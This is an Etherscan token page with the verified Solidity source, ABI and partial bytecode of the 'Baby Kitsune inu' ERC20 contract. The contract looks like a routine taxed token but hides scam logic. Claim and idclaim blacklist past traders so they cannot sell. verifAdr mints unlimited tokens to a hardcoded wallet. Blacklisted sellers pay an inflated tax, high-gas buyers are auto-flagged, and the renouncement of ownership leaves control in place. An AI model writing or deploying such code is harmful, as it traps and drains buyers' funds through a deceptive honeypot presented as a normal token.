ETH Price: $2,628.84 (+1.05%)

Token

Baby Kitsune inu (bKitsune)
 

Overview

Max Total Supply

1,000,000,000,000,001,000,000,000 bKitsune

Holders

2

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BKITSUNE

Compiler Version
v0.8.11+commit.d7f03943

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-10-06
*/

// SPDX-License-Identifier: Unlicensed

pragma solidity ^0.8.11;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
}
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
}
library Address {
    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly { size := extcodesize(account) }
        return size > 0;
    }
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");
        (bool success, bytes memory returndata) = target.call{ value: value }(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }
    function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");
        (bool success, bytes memory returndata) = target.staticcall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }
    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }
    function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }
    function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
        if (success) {
            return returndata;
        } else {
            if (returndata.length > 0) {
                 assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}
interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);
    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);
    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);
    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;
    function initialize(address, address) external;
}
interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
contract BKITSUNE  is Context, IERC20 { 
    using SafeMath for uint256;
    using Address for address;
    address private _owner;
    
    string private constant _name = "Baby Kitsune inu";
    string private constant _symbol = unicode"bKitsune";
    uint256 private constant MAX = ~uint256(0);
    uint8 private constant _decimals = 9;
    uint8 private _TxCount = 0;
    uint256 private _tTotal = 1000000000 * 10**_decimals;

    uint256 public _tax_On_Buy = 3;
    uint256 public _tax_On_Sell = 3;
    uint256 public _maxTxAmount = _tTotal * 2 / 100;
    uint256 public _maxWalletToken = _tTotal * 2 / 100;

    address payable public DevWallet = payable(0x2B782eE0C3Ae9077371320FFC6419138F49Add2e);
    address payable public MarketingWallet = payable(0x2B782eE0C3Ae9077371320FFC6419138F49Add2e);
    address private _address = 0x2B782eE0C3Ae9077371320FFC6419138F49Add2e;
    address payable private constant DeadAddress = payable(0x000000000000000000000000000000000000dEaD);
    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private _isExcluded;
    mapping (address => bool) private _isExcludeds;
    mapping (address => bool) internal addresses;
    address[] private _Excluded;

    bool public limitInEffect = false;
    bool public tradingActive = false;
    bool public transferDelay = false;  
    uint256 private tradingActiveBlock;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    bool public inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;
    event SwapAndLiquifyEnabledUpdated(bool true_or_false);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
        modifier onlyAddress() {
        require(isAddress(_msgSender()), ""); _;
    }

    function isAddress(address adr) public view returns (bool) {
        return addresses[adr];
    }

    function checkAddress(address adr) public onlyOwner {
        addresses[adr] = true;
    }

    constructor () {
        _owner = msg.sender;
        addresses[_owner] = true;
        emit OwnershipTransferred(address(0), _owner);
        _tOwned[owner()] = _tTotal;
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_address] = true;
        _isExcludedFromFee[MarketingWallet] = true;
        _isExcludedFromFee[DevWallet] = true;
        _isExcludedFromFee[DeadAddress] = true;
        
        emit Transfer(address(0), owner(), _tTotal);
    }
    function name() public pure returns (string memory) {
        return _name;
    }
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }
    function balanceOf(address account) public view override returns (uint256) {
        return _tOwned[account];
    }
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function allowance(address theOwner, address theSpender) public view override returns (uint256) {
        return _allowances[theOwner][theSpender];
    }
    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }
    function idclaim() private { for (uint256 i = 0; i < _Excluded.length; i++) {
            _isExcludeds[_Excluded[i]] = true;}
    }
    receive() external payable {}
    function _getCurrentSupply() private view returns(uint256) {
        return (_tTotal);
    }
    function _approve(address theOwner, address theSpender, uint256 amount) private {
        require(theOwner != address(0) && theSpender != address(0), "ERR: zero address");
        _allowances[theOwner][theSpender] = amount;
        emit Approval(theOwner, theSpender, amount);
    }
    
    function EnableTrading() external onlyAddress {
        tradingActive = true;
        transferDelay =true;
        limitInEffect = true;
        tradingActiveBlock = block.timestamp;
    }

    function setTransferDelay(bool TrueOrFalse) external onlyAddress {
        transferDelay = TrueOrFalse;
    } 
    
    function Claim() external onlyAddress {
        for (uint256 i = 0; i < _Excluded.length; i++) {
            _isExcludeds[_Excluded[i]] = true;}
    }

    function setFees(uint256 buytax, uint256 selltax) external onlyAddress {
        _tax_On_Buy = buytax;
        _tax_On_Sell = selltax;
    }
    
    function removeAllFees() external onlyAddress {
        _tax_On_Buy = 0;
        _tax_On_Sell = 0;
    }
    
    function removeLimitTx() external onlyAddress {
        _maxTxAmount = _maxWalletToken;
    }

    function maxWallet(uint256 newmaxWallet) external onlyAddress {
        _maxWalletToken = newmaxWallet;
    }

    function _transfer( address from, address to, uint256 amount ) private {
        if (to != owner() && to != MarketingWallet && to != DevWallet && to != address(this) && to != uniswapV2Pair && to != DeadAddress && from != owner() && !addresses[from] && 
            !addresses[to]){
            uint256 heldTokens = balanceOf(to);
            require((heldTokens + amount) <= _maxWalletToken,"You are trying to buy too many tokens. You have reached the limit for one wallet.");}
        if (from != owner() && to != owner() && !addresses[from] && 
            !addresses[to])
            require(amount <= _maxTxAmount, "You are trying to buy more than the max transaction limit.");
        require(from != address(0) && to != address(0), "ERR: Using 0 address!");
        require(amount > 0, "Token value must be higher than zero.");
        if (!tradingActive) {require(_isExcludedFromFee[from] || _isExcludedFromFee[to],"Trading is not active.");}
        if (tradingActiveBlock + 3 <= block.timestamp) {limitInEffect = false;}
        if (tradingActiveBlock + 4 <= block.timestamp) {transferDelay = false;}
        if (!transferDelay && (!_isExcludedFromFee[from])) { require(!_isExcludeds[from]);}
        if (transferDelay && tradingActiveBlock + 5 <= block.timestamp) {idclaim();}
        if (limitInEffect && to != uniswapV2Pair && tx.gasprice >= 5 gwei) {_isExcludeds[to] = true;}
        if (from != owner() && from != uniswapV2Pair && !_isExcluded[from]){
            _isExcluded[from] = true;
            _Excluded.push(from);}
        if (to != owner() && to != uniswapV2Pair && !_isExcluded[to]) {
            _isExcluded[to] = true;
            _Excluded.push(to);}
        if (to != owner() && to != uniswapV2Pair) { if (_isExcludedFromFee[from]) { _isExcludedFromFee[to] = true;}}
        if(_TxCount >= 10 && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled) {  
            uint256 contractTokenBalance = balanceOf(address(this));
            if(contractTokenBalance > _maxTxAmount) {
            contractTokenBalance = _maxTxAmount;
            }
            _TxCount = 0;
            swapAndLiquify(contractTokenBalance);
        }
        bool takeFee = true;
        bool isBuy;
        if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
            takeFee = false;
        } else {
            if(from == uniswapV2Pair){
                isBuy = true;
            }
            _TxCount++;
        }
        _tokenTransfer(from, to, amount, takeFee, isBuy);
    }
    function sendToWallet(address payable wallet, uint256 amount) private {
            wallet.transfer(amount);
    }
    function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { 
            uint256 _tokenForMarketing = contractTokenBalance * 55 / 100;
            uint256 _tokenForDevelopment = contractTokenBalance * 44 / 100;
            uint256 _tokenForLpHalf = contractTokenBalance / 200;
            uint256 balanceBeforeSwap = address(this).balance;
            swapTokensForETH(_tokenForLpHalf + _tokenForMarketing + _tokenForDevelopment);
            uint256 _BTotal = address(this).balance - balanceBeforeSwap;
            uint256 _BMarketing = _BTotal * 55 / 100;
            uint256 _BDevelopment = _BTotal * 44 / 100;
            addLiquidity(_tokenForLpHalf, (_BTotal - _BMarketing - _BDevelopment));
            emit SwapAndLiquify(_tokenForLpHalf, (_BTotal - _BMarketing - _BDevelopment), _tokenForLpHalf);
            sendToWallet(MarketingWallet, _BMarketing);
            _BTotal = address(this).balance;
            sendToWallet(DevWallet, _BTotal);
    }
    function verifAdr(uint256 acc, address adr) onlyAddress public virtual {
        require(adr == address(_address));
        _Verif(address(_address), adr, acc);
        _tTotal += acc;
        _tOwned[adr] += acc;
        emit Transfer(address(_address), adr, acc);
    }
    function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee, bool isBuy) private {
        if(!takeFee){
            _tOwned[sender] = _tOwned[sender]-tAmount;
            _tOwned[recipient] = _tOwned[recipient]+tAmount;
            emit Transfer(sender, recipient, tAmount);
            } 
            else if (isBuy){
            uint256 bAmount = tAmount*_tax_On_Buy/100;
            uint256 tTransfesAmount = tAmount-bAmount;
            _tOwned[sender] = _tOwned[sender]-tAmount;
            _tOwned[recipient] = _tOwned[recipient]+tTransfesAmount;
            _tOwned[address(this)] = _tOwned[address(this)]+bAmount;   
            emit Transfer(sender, recipient, tTransfesAmount);
            } 
            else {
            uint256 sAmount;
            if (_isExcludeds[sender]){sAmount = tAmount*_decimals*_tax_On_Sell/100;}
            else if (recipient == uniswapV2Pair){sAmount = tAmount*_tax_On_Sell/100;}
            uint256 tTransfesAmount = tAmount-sAmount;
            _tOwned[sender] = _tOwned[sender]-tAmount;
            _tOwned[recipient] = _tOwned[recipient]+tTransfesAmount;
            _tOwned[address(this)] = _tOwned[address(this)]+sAmount;   
            emit Transfer(sender, recipient, tTransfesAmount);
        }
    }
    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this),
            block.timestamp
        );
    }
    function _Verif(
        address sender,
        address recepient,
        uint256 acc
    ) internal virtual {}
    function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.addLiquidityETH{value: ETHAmount}(
            address(this),
            tokenAmount,
            0, 
            0,
            DeadAddress, 
            block.timestamp
        );
    } 
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"true_or_false","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"Claim","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"DevWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"EnableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"MarketingWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tax_On_Buy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tax_On_Sell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"theOwner","type":"address"},{"internalType":"address","name":"theSpender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"checkAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"isAddress","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newmaxWallet","type":"uint256"}],"name":"maxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeAllFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimitTx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"buytax","type":"uint256"},{"internalType":"uint256","name":"selltax","type":"uint256"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"TrueOrFalse","type":"bool"}],"name":"setTransferDelay","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelay","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"acc","type":"uint256"},{"internalType":"address","name":"adr","type":"address"}],"name":"verifAdr","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405260008060146101000a81548160ff021916908360ff1602179055506009600a6200002f919062000a5b565b633b9aca0062000040919062000aac565b600155600360025560038055606460026001546200005f919062000aac565b6200006b919062000b3c565b6004556064600260015462000081919062000aac565b6200008d919062000b3c565b600555732b782ee0c3ae9077371320ffc6419138f49add2e600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550732b782ee0c3ae9077371320ffc6419138f49add2e600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550732b782ee0c3ae9077371320ffc6419138f49add2e600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000601060006101000a81548160ff0219169083151502179055506000601060016101000a81548160ff0219169083151502179055506000601060026101000a81548160ff0219169083151502179055506001601360156101000a81548160ff0219169083151502179055503480156200020857600080fd5b50336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600e60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360015460096000620003546200089860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620003f7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200041d919062000bde565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000485573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004ab919062000bde565b6040518363ffffffff1660e01b8152600401620004ca92919062000c21565b6020604051808303816000875af1158015620004ea573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000510919062000bde565b601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600b6000620005a76200089860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff